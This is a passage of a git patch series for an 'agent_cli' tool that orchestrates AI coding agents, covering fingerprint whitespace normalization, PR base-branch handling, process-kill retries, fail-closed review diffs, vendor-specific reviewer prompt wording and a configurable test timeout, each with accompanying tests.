implement_spec_file, cwd, exec_argv): # type: ignore[no-untyped-def] + def fake_build(store, tid_, *, role, round_num, implement_spec_file, cwd, exec_argv, base_ref=None): # type: ignore[no-untyped-def] if role == unavailable_role and unavailable_done["n"] == 0: unavailable_done["n"] += 1 raise ReviewDiffUnavailableError( From 34b62c1a0e6ed5f315f7d4c8c672780d254f5a70 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 03:06:19 -0300 Subject: [PATCH 36/47] Normalize stored fingerprints before comparison at all five sites. Legacy error.seen rows persisted before the fingerprint()-stripping fix retain a whitespace-padded fingerprint, so comparisons against freshly stripped fingerprints permanently mismatch. Wrap the stored side in _nonempty_str at each comparison site, mirroring the existing error_id normalization pattern. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/error_fix_act.py | 17 +++-- src/agent_cli/errors.py | 4 +- tests/test_error_fix_act.py | 110 +++++++++++++++++++++++++++++++++ tests/test_errors.py | 28 +++++++++ 4 files changed, 154 insertions(+), 5 deletions(-) diff --git a/src/agent_cli/error_fix_act.py b/src/agent_cli/error_fix_act.py index 59e385c..5419bf3 100644 --- a/src/agent_cli/error_fix_act.py +++ b/src/agent_cli/error_fix_act.py @@ -112,7 +112,10 @@ def _error_fix_heads(store: Store, fingerprint: str) -> set[str]: if row.get("type") != "error.seen": continue payload = row.get("payload") - if not isinstance(payload, dict) or payload.get("fingerprint") != fingerprint: + if ( + not isinstance(payload, dict) + or _nonempty_str(payload.get("fingerprint")) != fingerprint + ): continue seen_id = _nonempty_str(row.get("id")) if seen_id is not None: @@ -121,7 +124,7 @@ def _error_fix_heads(store: Store, fingerprint: str) -> set[str]: def _draft_matches(payload: dict[str, Any], fingerprint: str, heads: set[str]) -> bool: - if payload.get("fingerprint") == fingerprint: + if _nonempty_str(payload.get("fingerprint")) == fingerprint: return True head = _nonempty_str(payload.get("head")) return head is not None and head in heads @@ -177,7 +180,10 @@ def validate_conclusion( raise StoreError("reason is required") seen = _error_seen(store, session_id, error_id) seen_payload = seen.get("payload") - if not isinstance(seen_payload, dict) or seen_payload.get("fingerprint") != fingerprint: + if ( + not isinstance(seen_payload, dict) + or _nonempty_str(seen_payload.get("fingerprint")) != fingerprint + ): raise StoreError("fingerprint mismatch") origin = store.device_id() for row in store.rows("activity"): @@ -330,7 +336,10 @@ def _pending_fix(store: Store, row: dict[str, Any]) -> tuple[str, str, str]: raise StoreError("session_id is required") seen = _error_seen(store, session_id, error_id) seen_payload = seen.get("payload") - if not isinstance(seen_payload, dict) or seen_payload.get("fingerprint") != fingerprint: + if ( + not isinstance(seen_payload, dict) + or _nonempty_str(seen_payload.get("fingerprint")) != fingerprint + ): raise StoreError("fingerprint mismatch") repo = _repo_ok(seen_payload.get("repo")) if repo is None: diff --git a/src/agent_cli/errors.py b/src/agent_cli/errors.py index 9836312..5b5399c 100644 --- a/src/agent_cli/errors.py +++ b/src/agent_cli/errors.py @@ -238,6 +238,8 @@ def incident_closed(store: Store, session_id: str, error_id: str) -> bool: def _latest_seen(store: Store, session_id: str, fp: str) -> dict[str, Any] | None: + from .error_fix_act import _nonempty_str + origin = store.device_id() matches: list[dict[str, Any]] = [] for row in store.rows("activity"): @@ -248,7 +250,7 @@ def _latest_seen(store: Store, session_id: str, fp: str) -> dict[str, Any] | Non if row.get("session_id") != session_id: continue inner = row.get("payload") - if isinstance(inner, dict) and inner.get("fingerprint") == fp: + if isinstance(inner, dict) and _nonempty_str(inner.get("fingerprint")) == fp: matches.append(row) if not matches: return None diff --git a/tests/test_error_fix_act.py b/tests/test_error_fix_act.py index 05f3dfb..5e29257 100644 --- a/tests/test_error_fix_act.py +++ b/tests/test_error_fix_act.py @@ -625,3 +625,113 @@ def test_has_error_fix_activity_true_for_whitespace_padded_persisted_error_id( }, ) assert has_error_fix_activity(store, "runner-1", "error-seen-12345678") is True + + +def test_validate_conclusion_matches_whitespace_padded_stored_fingerprint( + tmp_path: Path, +) -> None: + """Legacy error.seen rows may retain a whitespace-padded fingerprint; the + stored side must be stripped before compare (site 1).""" + store = Store(tmp_path) + _runner_session(store) + store.write( + "activity", + "insert", + "error-seen-12345678", + { + "id": "error-seen-12345678", + "session_id": "runner-1", + "type": "error.seen", + "payload": { + "fingerprint": "api|TimeoutError|abc|prod ", + "repo": "org/app", + }, + "execution_status": "done", + }, + ) + normalized = error_fix_act_mod.validate_conclusion( + store, + "runner-1", + "error.skip", + { + "error_id": "error-seen-12345678", + "fingerprint": "api|TimeoutError|abc|prod", + "reason": "noisy", + }, + ) + assert normalized["fingerprint"] == "api|TimeoutError|abc|prod" + assert normalized["error_id"] == "error-seen-12345678" + + +def test_already_open_draft_matches_whitespace_padded_fingerprints( + tmp_path: Path, +) -> None: + """_error_fix_heads (site 2) and _draft_matches (site 3) must strip the + stored fingerprint before comparing to a bare computed value.""" + store = Store(tmp_path) + _runner_session(store) + store.write( + "activity", + "insert", + "error-seen-12345678", + { + "id": "error-seen-12345678", + "session_id": "runner-1", + "type": "error.seen", + "payload": { + "fingerprint": "api|TimeoutError|abc|prod ", + "repo": "org/app", + }, + "execution_status": "done", + }, + ) + bare = "api|TimeoutError|abc|prod" + assert error_fix_act_mod._error_fix_heads(store, bare) == {"error-fix-error-se"} + store.write( + "activity", + "insert", + "pr-open-1", + { + "id": "pr-open-1", + "session_id": "runner-1", + "type": "pr.open", + "payload": {"fingerprint": "api|TimeoutError|abc|prod "}, + "execution_status": "pending", + }, + ) + assert error_fix_act_mod._draft_matches( + {"fingerprint": "api|TimeoutError|abc|prod "}, bare, set() + ) + assert error_fix_act_mod._already_open_draft(store, bare) is True + + +def test_pending_fix_matches_whitespace_padded_stored_fingerprint( + tmp_path: Path, +) -> None: + """_pending_fix / scan_error_fix (site 4): legacy padded fingerprint on + error.seen must still match the bare fingerprint on error.fix.""" + store = Store(tmp_path) + _runner_session(store) + store.write( + "activity", + "insert", + "error-seen-12345678", + { + "id": "error-seen-12345678", + "session_id": "runner-1", + "type": "error.seen", + "payload": { + "fingerprint": "api|TimeoutError|abc|prod ", + "repo": "org/app", + }, + "execution_status": "done", + }, + ) + _fix(store) + calls: list[list[str]] = [] + lines = scan_error_fix(store, _clone_runner(calls)) + assert len(lines) == 1 + assert lines[0].startswith("error.fix fix-1 task=") + row = store.row("activity", "fix-1") + assert row is not None + assert row["execution_status"] == "done" diff --git a/tests/test_errors.py b/tests/test_errors.py index 343072c..68058cb 100644 --- a/tests/test_errors.py +++ b/tests/test_errors.py @@ -5,6 +5,7 @@ import pytest +from agent_cli import errors as errors_mod from agent_cli.errors import ( config_path, cursor_path, @@ -196,6 +197,33 @@ def test_fingerprint_strips_service_and_environment_whitespace() -> None: assert " api ".strip() + "|TimeoutError|abc123def4567890|" + " prod ".strip() == padded +def test_latest_seen_matches_whitespace_padded_stored_fingerprint(tmp_path: Path) -> None: + """Legacy error.seen rows may retain a whitespace-padded fingerprint; the + stored side must be stripped before compare (site 5 / _latest_seen).""" + store = Store(tmp_path) + _runner_session(store) + store.write( + "activity", + "insert", + "error-seen-legacy-1", + { + "id": "error-seen-legacy-1", + "session_id": "runner-1", + "type": "error.seen", + "payload": { + "fingerprint": "api|TimeoutError|abc|prod ", + "count": 1, + "first_seen": "2026-08-23T16:00:00Z", + "last_seen": "2026-08-23T16:00:00Z", + }, + "execution_status": "done", + }, + ) + found = errors_mod._latest_seen(store, "runner-1", "api|TimeoutError|abc|prod") + assert found is not None + assert found["id"] == "error-seen-legacy-1" + + def test_scan_inserts_once_then_enriches(tmp_path: Path) -> None: store = Store(tmp_path) _runner_session(store) From dcb861e36a93568c448165204f5c8a38a8238d8c Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 03:06:23 -0300 Subject: [PATCH 37/47] Strip origin/ prefix at the gh pr create boundary and simplify heal. Normalize payload.base inside github_act._run_pr_open itself, so any caller reaching gh pr create with an origin/-prefixed base gets stripped at the actual gh boundary rather than relying on every caller to do it. With result.base now guaranteed bare, the heal block's startswith guard against a literal origin/foo branch name is no longer needed and can always unconditionally prepend. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 4 +- src/agent_cli/github_act.py | 1 + tests/test_fixer_act.py | 86 +++++++++++++++++++++++++++++++++++++ tests/test_github_act.py | 39 +++++++++++++++++ 4 files changed, 127 insertions(+), 3 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 675c393..90d2cf6 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -1128,9 +1128,7 @@ def _drive_one( task["payload"] = task_payload dirty = True if pr_base: - normalized_pr_base = ( - pr_base if pr_base.startswith("origin/") else f"origin/{pr_base}" - ) + normalized_pr_base = f"origin/{pr_base}" if normalized_pr_base != task.get("ref"): task["ref"] = normalized_pr_base dirty = True diff --git a/src/agent_cli/github_act.py b/src/agent_cli/github_act.py index 69c4b3b..dbb006b 100644 --- a/src/agent_cli/github_act.py +++ b/src/agent_cli/github_act.py @@ -190,6 +190,7 @@ def _run_pr_open(store: Store, runner: Runner, row: dict[str, Any]) -> str: body_opt = _optional_str_field(payload, "body") body = "" if body_opt is None else body_opt base = _optional_str_field(payload, "base", nonempty=True) + base = base.removeprefix("origin/") if base else base except _GhError as exc: _mark(store, row, status="error", error=str(exc)) return f"pr.open {rid} error" diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 921e599..0d242f9 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -2103,6 +2103,92 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] store.close() +def test_fixer_heal_unconditionally_prepends_origin_even_for_origin_prefixed_base( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Literal result.base 'origin/foo' must become task.ref 'origin/origin/foo'. + + After finding 2, result.base is normally bare; this covers the residual + edge where a literal branch named origin/foo still gets one prepend. + """ + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pr_head = f"error-fix-{ERROR_ID[:8]}" + activity_id = str(uuid.uuid4()) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: ( + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + ), + ) + monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task["ref"] = "origin/develop" + from agent_cli import main as main_mod + + store.write("task", "update", tid, main_mod._strip(task)) + + store.write( + "activity", + "insert", + activity_id, + { + "id": activity_id, + "session_id": "sess-1", + "type": "pr.open", + "payload": { + "repo": "org/app", + "title": "sess-1 - Fix timeout", + "head": pr_head, + "body": "EN:\nDraft\n", + "base": "origin/develop", + }, + "execution_status": "done", + "result": { + "repo": "org/app", + "number": 42, + "url": "https://github.com/org/app/pull/42", + "draft": True, + "base": "origin/foo", + }, + }, + ) + assert _pr_open_row_exists(store, head=pr_head, repo="org/app") + + task = store.row("task", tid) + assert task is not None + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + updated = store.row("task", tid) + assert updated is not None + assert updated.get("ref") == "origin/origin/foo" + finally: + store.close() + + def test_fixer_persists_pr_number_and_queues_gate_findings( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/test_github_act.py b/tests/test_github_act.py index e344548..bbbf022 100644 --- a/tests/test_github_act.py +++ b/tests/test_github_act.py @@ -176,6 +176,45 @@ def runner(argv: list[str]) -> Completed: assert row["result"]["base"] != "origin/develop" +def test_pr_open_create_strips_origin_prefix_from_base(tmp_path: Path) -> None: + """Create path must pass a bare --base to gh and persist result.base bare.""" + store = Store(tmp_path) + _owned_session(store) + act_id = "pr-base-create" + _pending( + store, + act_id, + "pr.open", + { + "repo": "dfxswiss/agent", + "title": "Strip origin base", + "head": "feat-github", + "body": "Please review", + "base": "origin/develop", + }, + ) + create_argv: list[str] = [] + + def runner(argv: list[str]) -> Completed: + if argv[:3] == ["gh", "pr", "view"]: + return Completed(1, "", "no pull requests found") + if "create" in argv: + create_argv.extend(argv) + return Completed(0, "https://github.com/dfxswiss/agent/pull/99\n", "") + raise AssertionError(f"unexpected argv: {argv}") + + lines = scan_github(store, runner) + assert lines == [f"pr.open {act_id} done number=99"] + assert create_argv, "expected gh pr create to run" + base_idx = create_argv.index("--base") + assert create_argv[base_idx + 1] == "develop" + assert "origin/develop" not in create_argv + row = store.row("activity", act_id) + assert row is not None + assert row["execution_status"] == "done" + assert row["result"]["base"] == "develop" + + def test_pr_open_view_auth_error_no_create(tmp_path: Path) -> None: store = Store(tmp_path) _owned_session(store) From 2b973567a158126c4f4530260963ac735ec1379c Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 03:06:28 -0300 Subject: [PATCH 38/47] Retry kill and wait once more if the post-SIGKILL reap also times out. Mirrors daemon._terminate's accepted-limitation pattern: a second, best-effort kill plus a bounded wait reduces (without fully eliminating) orphan-process risk in the rare case where the initial SIGKILL reap itself times out. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/lane.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/src/agent_cli/lane.py b/src/agent_cli/lane.py index a8b3df0..042de40 100644 --- a/src/agent_cli/lane.py +++ b/src/agent_cli/lane.py @@ -278,6 +278,19 @@ def _default_runner( stdout, stderr = proc.communicate(timeout=5) except (subprocess.TimeoutExpired, OSError): stdout, stderr = "", "" + # Mirror daemon._terminate: one more kill+wait after a timed-out + # reap; orphans past this point are an accepted limitation. + try: + os.killpg(proc.pid, signal.SIGKILL) + except (ProcessLookupError, PermissionError, OSError): + try: + proc.kill() + except OSError: + pass + try: + proc.wait(timeout=5) + except (ProcessLookupError, PermissionError, OSError, subprocess.TimeoutExpired): + pass # returncode 124 matches parse_status's external-timeout convention. return subprocess.CompletedProcess(argv, 124, stdout or "", stderr or "") return subprocess.CompletedProcess( From b30736f97755d990082612f0c9996094419ee9eb Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 04:28:18 -0300 Subject: [PATCH 39/47] Strip error_class and stack_sig whitespace in fingerprint construction. Round 55 only stripped service/environment before composing the fingerprint, leaving error_class/stack_sig padding able to produce a fingerprint that mismatches a cleanly computed one for the same logical values. --- src/agent_cli/errors.py | 4 ++-- tests/test_errors.py | 17 +++++++++++++++++ 2 files changed, 19 insertions(+), 2 deletions(-) diff --git a/src/agent_cli/errors.py b/src/agent_cli/errors.py index 5b5399c..d24403d 100644 --- a/src/agent_cli/errors.py +++ b/src/agent_cli/errors.py @@ -185,9 +185,9 @@ def redact(text: str) -> str: def fingerprint(*, service: str, error_class: str, stack_sig: str, environment: str) -> str: - # Strip service/environment so stored fingerprints match consumers that + # Strip all four fields so stored fingerprints match consumers that # normalize via _nonempty_str (whole-string .strip()) before compare. - return f"{service.strip()}|{error_class}|{stack_sig}|{environment.strip()}" + return f"{service.strip()}|{error_class.strip()}|{stack_sig.strip()}|{environment.strip()}" def line_fingerprint(*, server: str, container: str, line: str) -> str: diff --git a/tests/test_errors.py b/tests/test_errors.py index 68058cb..1a3defc 100644 --- a/tests/test_errors.py +++ b/tests/test_errors.py @@ -197,6 +197,23 @@ def test_fingerprint_strips_service_and_environment_whitespace() -> None: assert " api ".strip() + "|TimeoutError|abc123def4567890|" + " prod ".strip() == padded +def test_fingerprint_strips_error_class_and_stack_sig_whitespace() -> None: + padded = fingerprint( + service="api", + error_class=" TimeoutError ", + stack_sig=" abc123def4567890 ", + environment="prod", + ) + clean = fingerprint( + service="api", + error_class="TimeoutError", + stack_sig="abc123def4567890", + environment="prod", + ) + assert padded == clean + assert padded == "api|TimeoutError|abc123def4567890|prod" + + def test_latest_seen_matches_whitespace_padded_stored_fingerprint(tmp_path: Path) -> None: """Legacy error.seen rows may retain a whitespace-padded fingerprint; the stored side must be stripped before compare (site 5 / _latest_seen).""" From 162cab05dfdedf11ca8ce11e7aa9e2de32c361d8 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 04:28:37 -0300 Subject: [PATCH 40/47] Fail closed when an explicit review base_ref does not resolve locally. _collect_review_diff previously fell through to the _BASE_CANDIDATES list when an explicit base_ref (e.g. the healed task.ref) failed to rev-parse, silently reviewing against a different base than the one recorded for the task. Only fall back to candidates when no explicit base was given at all. --- src/agent_cli/run_core.py | 9 +++++++-- tests/test_run.py | 26 +++++++++++++++++++++++++- 2 files changed, 32 insertions(+), 3 deletions(-) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index ba651b9..67508c9 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -321,16 +321,21 @@ def _collect_review_diff( a missing candidate ref is expected control flow, not a probe failure. When *no* candidate resolves at all, that counts as a probe failure (not expected control flow), so probes_ok becomes False. + An explicit base_ref that fails to resolve is itself a probe failure + (fail-closed), distinct from the "no candidate resolves at all" case — + candidates are not tried as a silent fallback when an explicit base + was supplied. """ explicit = base_ref + has_explicit = explicit is not None and str(explicit).strip() != "" resolved: str | None = None - if explicit is not None and str(explicit).strip(): + if has_explicit: completed = exec_argv( ["git", "rev-parse", "--verify", explicit], cwd=cwd ) if int(getattr(completed, "returncode", 1)) == 0: resolved = explicit - if resolved is None: + if resolved is None and not has_explicit: for candidate in _BASE_CANDIDATES: completed = exec_argv( ["git", "rev-parse", "--verify", candidate], cwd=cwd diff --git a/tests/test_run.py b/tests/test_run.py index 44286e6..28b9c19 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -597,12 +597,36 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: ) +def test_collect_review_diff_explicit_base_unresolved_fails_closed( + tmp_path: Path, +) -> None: + """An explicit base_ref that does not resolve must fail closed — no candidate fallback.""" + calls: list[list[str]] = [] + + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: + calls.append(list(argv)) + if argv[:3] == ["git", "rev-parse", "--verify"]: + if argv[3] == "error-fix-deadbeef": + return Completed(1, "", "unknown revision") + if argv[3] == "origin/develop": + return Completed(0, "abc123\n", "") + return Completed(1, "", "") + # Supplemental HEAD probe succeeds but empty. + return Completed(0, "", "") + + _diff, _paths, probes_ok = _collect_review_diff( + str(tmp_path), fake_exec, base_ref="error-fix-deadbeef" + ) + assert probes_ok is False + assert ["git", "rev-parse", "--verify", "origin/develop"] not in calls + + def test_collect_review_diff_empty_merge_base_stdout_marks_probes_not_ok( tmp_path: Path, ) -> None: """merge-base exit 0 with empty/whitespace stdout must set probes_ok False.""" - def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: if argv[:3] == ["git", "rev-parse", "--verify"]: if argv[3] == "origin/develop": return Completed(0, "abc123\n", "") From c1fc86cc000c72e2423c6fe906f5802e74178163 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 04:28:55 -0300 Subject: [PATCH 41/47] Send vendor-appropriate tool instructions in PR-review spec prompts. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit build_review_spec_file() always told reviewers to use a "Read tool" and "Read/Grep/Glob only", which only matches Grok's CLI permissions — Codex has no such tool and can only read files via read-only shell commands. Thread a vendor parameter through and branch the wording; the grok/default path is unchanged. --- src/agent_cli/run_core.py | 33 +++++++++++++--- tests/test_run.py | 80 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 108 insertions(+), 5 deletions(-) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 67508c9..db5f7ed 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -410,6 +410,7 @@ def build_review_spec_file( cwd: str, exec_argv: ExecArgv, base_ref: str | None = None, + vendor: str = "grok", ) -> str: """Write a four-part review prompt under $AGENT_HOME/review-work//; return its path.""" diff_text, changed_paths, probes_ok = _collect_review_diff( @@ -456,9 +457,33 @@ def build_review_spec_file( ) fence = _fence_marker(diff_text) + if vendor == "codex": + scope_intro = ( + "Read the unified diff via a read-only shell command " + "(e.g. `cat`, `sed -n`, `git show`) from this absolute path:\n" + ) + exec_rule = ( + "Do not execute software — no tests, builds, package managers, " + "or project scripts. Use read-only shell commands only " + "(e.g. `git diff`, `git show`, `git log`, `grep`, `cat`, " + "`sed -n`, `ls`, `find`) to inspect the diff file and " + "CONTRIBUTING.md. Cite every finding with " + "`file:line`. If a judgment needs a test run, put the " + "command under NOT-VERIFIABLE instead of running it.\n" + ) + else: + scope_intro = ( + "Read the unified diff via the Read tool from this absolute path:\n" + ) + exec_rule = ( + "Do not execute software — no tests, builds, package managers, shells, " + "or project scripts. Read/Grep/Glob only. Cite every finding with " + "`file:line`. If a judgment needs a test run, put the " + "command under NOT-VERIFIABLE instead of running it.\n" + ) body = ( f"# Scope\n\n" - f"Read the unified diff via the Read tool from this absolute path:\n" + f"{scope_intro}" f"`{abs_diff}`\n\n" f"Changed paths: {paths_line}\n\n" f"Unified diff (also embedded for convenience; the Read path is required):\n\n" @@ -472,10 +497,7 @@ def build_review_spec_file( f"```\n{_REVIEW_OUTPUT_CONTRACT}\n```\n\n" f"`FINDINGS: 0` (or `none`) is a valid, expected result when " f"`STATUS: complete` and nothing is wrong.\n\n" - f"Do not execute software — no tests, builds, package managers, shells, " - f"or project scripts. Read/Grep/Glob only. Cite every finding with " - f"`file:line`. If a judgment needs a test run, put the " - f"command under NOT-VERIFIABLE instead of running it.\n" + f"{exec_rule}" ) spec_path.write_text(body, encoding="utf-8") return str(spec_path) @@ -974,6 +996,7 @@ def prepare_spine_agent_step( cwd=run_cwd, exec_argv=exec_argv, base_ref=base_ref, + vendor=vendor, ) except EmptyReviewDiffError as exc: working = main_mod._find_working_agent( diff --git a/tests/test_run.py b/tests/test_run.py index 28b9c19..469325b 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -825,6 +825,86 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: store.close() +def test_build_review_spec_file_codex_vendor_uses_readonly_shell_wording( + tmp_path: Path, +) -> None: + """vendor=codex must not emit Grok Read-tool vocabulary; name read-only shells.""" + hunk = "diff --git a/src/foo.py b/src/foo.py\n+codex-vendor-hunk\n" + + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: + if argv[:3] == ["git", "rev-parse", "--verify"]: + if argv[3] == "origin/develop": + return Completed(0, "abc123\n", "") + return Completed(1, "", "") + if argv[:2] == ["git", "merge-base"]: + return Completed(0, "abc123\n", "") + if "diff" in argv and "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + if "diff" in argv: + return Completed(0, hunk, "") + return Completed(0, "", "") + + store = _store(tmp_path) + try: + path = build_review_spec_file( + store, + "codex-vendor-tid", + role="pr-reviewer-logic", + round_num=1, + implement_spec_file=None, + cwd=str(tmp_path), + exec_argv=fake_exec, + vendor="codex", + ) + body = Path(path).read_text(encoding="utf-8") + assert "Read tool" not in body + assert "Read/Grep/Glob only" not in body + assert "git diff" in body or "cat" in body + assert "CONTRIBUTING.md" in body + finally: + store.close() + + +def test_build_review_spec_file_grok_vendor_keeps_read_tool_wording( + tmp_path: Path, +) -> None: + """Default/grok vendor path must keep the original Read-tool phrases byte-stable.""" + hunk = "diff --git a/src/foo.py b/src/foo.py\n+grok-vendor-hunk\n" + + def fake_exec(argv: list[str], *, cwd: str | None = None, timeout: float | None = None) -> Completed: + if argv[:3] == ["git", "rev-parse", "--verify"]: + if argv[3] == "origin/develop": + return Completed(0, "abc123\n", "") + return Completed(1, "", "") + if argv[:2] == ["git", "merge-base"]: + return Completed(0, "abc123\n", "") + if "diff" in argv and "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + if "diff" in argv: + return Completed(0, hunk, "") + return Completed(0, "", "") + + store = _store(tmp_path) + try: + path = build_review_spec_file( + store, + "grok-vendor-tid", + role="pr-reviewer-logic", + round_num=1, + implement_spec_file=None, + cwd=str(tmp_path), + exec_argv=fake_exec, + ) + body = Path(path).read_text(encoding="utf-8") + assert ( + "Read the unified diff via the Read tool from this absolute path" + in body + ) + assert "Read/Grep/Glob only" in body + finally: + store.close() + + def test_launch_oserror_does_not_leave_working_agent( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: From 00d876a93b47afcfc5d5978657d8e96fe2d2d886 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 04:29:07 -0300 Subject: [PATCH 42/47] Give local_check_pass its own longer, configurable timeout. _exec_argv and _runner_to_completed hardcoded a 120s timeout meant for fast git/gh probes, but local_check_pass reused it unmodified for the project's test command, killing any suite that runs longer. The check-command call site now passes a separate timeout (AGENT_CHECK_TIMEOUT_SEC, default 1800s); every other exec_argv call site keeps the 120s default. Test doubles for the shared exec_argv/_runner_to_completed callables now accept the new optional timeout keyword. --- src/agent_cli/fixer_act.py | 17 ++++---- src/agent_cli/main.py | 9 +++-- src/agent_cli/run_core.py | 22 ++++++++++- tests/test_fixer_act.py | 44 ++++++++++----------- tests/test_run.py | 79 ++++++++++++++++++++++++++------------ 5 files changed, 113 insertions(+), 58 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 90d2cf6..97b78c8 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -28,6 +28,7 @@ complete_spine_agent_step, execute_spine_step, launch_agent_plan, + local_check_timeout_sec, prepare_spine_agent_step, ) from .store import Store, StoreError @@ -846,8 +847,8 @@ def _drive_parallel_pr_pair( """ from . import main as main_mod - exec_argv = lambda argv, cwd=None: _runner_to_completed( # noqa: E731 - runner, argv, cwd=cwd + exec_argv = lambda argv, cwd=None, timeout=None: _runner_to_completed( # noqa: E731 + runner, argv, cwd=cwd, timeout=timeout ) # Visible to the except handler so a committed rejection reset can still @@ -1245,8 +1246,8 @@ def _drive_one( runner=lane_runner, round_cap=round_cap, # cwd-aware like main._exec_argv so local_check_pass runs in worktree. - exec_argv=lambda argv, cwd=None: _runner_to_completed( - runner, argv, cwd=cwd + exec_argv=lambda argv, cwd=None, timeout=None: _runner_to_completed( + runner, argv, cwd=cwd, timeout=timeout ), ) except OSError as exc: @@ -1276,20 +1277,22 @@ def _drive_one( def _runner_to_completed( - runner: Runner, argv: list[str], *, cwd: str | None = None + runner: Runner, argv: list[str], *, cwd: str | None = None, + timeout: float | None = None, ) -> Completed: """Run argv; honor cwd like main._exec_argv so checks use the worktree.""" import subprocess + limit = 120 if timeout is None else timeout try: if cwd is not None: proc = subprocess.run( # noqa: S603 - argv, cwd=cwd, capture_output=True, text=True, check=False, timeout=120 + argv, cwd=cwd, capture_output=True, text=True, check=False, timeout=limit ) return Completed(proc.returncode, proc.stdout or "", proc.stderr or "") return runner(argv) except subprocess.TimeoutExpired as exc: - return Completed(124, "", str(exc) or "git/gh call timed out after 120s") + return Completed(124, "", str(exc) or f"git/gh call timed out after {limit}s") except OSError as exc: return Completed(127, "", str(exc)) diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index 4b8e3e1..0d0ad88 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -2550,16 +2550,19 @@ def cmd_close_step(args: list[str]) -> None: cmd_checklist(set_args) -def _exec_argv(argv: list[str], *, cwd: str | None = None) -> "Completed": +def _exec_argv( + argv: list[str], *, cwd: str | None = None, timeout: float | None = None +) -> "Completed": from .runtime import Completed import subprocess + limit = 120 if timeout is None else timeout try: proc = subprocess.run( # noqa: S603 - argv, cwd=cwd, capture_output=True, text=True, check=False, timeout=120 + argv, cwd=cwd, capture_output=True, text=True, check=False, timeout=limit ) except subprocess.TimeoutExpired as exc: - return Completed(124, "", str(exc) or "git/gh call timed out after 120s") + return Completed(124, "", str(exc) or f"git/gh call timed out after {limit}s") except OSError as exc: return Completed(127, "", str(exc)) return Completed(proc.returncode, proc.stdout or "", proc.stderr or "") diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index db5f7ed..6e7e355 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -49,11 +49,29 @@ ) +def local_check_timeout_sec() -> float: + """Timeout (seconds) for the local_check_pass project test command. + + Distinct from the fast git/gh probe timeout (120s default in + main._exec_argv / fixer_act._runner_to_completed) -- a project's test + suite can legitimately run much longer than a git probe. Configurable + via AGENT_CHECK_TIMEOUT_SEC; defaults to 1800s (consistent with + lane.VENDOR_RUN_TIMEOUT_SEC's "this can genuinely take a while" default). + """ + raw = os.environ.get("AGENT_CHECK_TIMEOUT_SEC") + if raw is None or not 